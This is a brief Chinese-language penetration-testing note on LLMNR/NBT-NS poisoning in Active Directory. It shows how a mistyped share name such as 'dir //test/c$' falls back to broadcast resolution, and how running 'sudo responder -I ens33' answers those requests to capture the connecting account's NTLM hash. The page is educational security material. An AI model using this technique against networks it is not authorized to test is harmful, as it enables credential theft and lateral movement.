> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md).
# LLMNR / NBT-NS 投毒
针对 LLMNR / NBT-NS 投毒的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。
如果使用有效名称访问，解析首先会通过域控制器的 DNS。
{% code overflow="wrap" %}
```bash
dir //WS01/c$
```
{% endcode %}
如果名称不存在，Windows 随后会尝试通过 `LLMNR` 或 `NBT-NS` 进行广播。
{% code overflow="wrap" %}
```bash
dir //test/c$
```
{% endcode %}
在 Linux 上，我们可以监听这些请求并以 `Responder`.
{% code overflow="wrap" %}
```bash
sudo responder -I ens33
```
{% endcode %}
如果受害者输入了错误的共享名称，请求就会落到我们的机器上。
{% code overflow="wrap" %}
```bash
dir //test/c$
```
{% endcode %}
然后我们就能获取尝试建立连接的账户的 NTLM 哈希。
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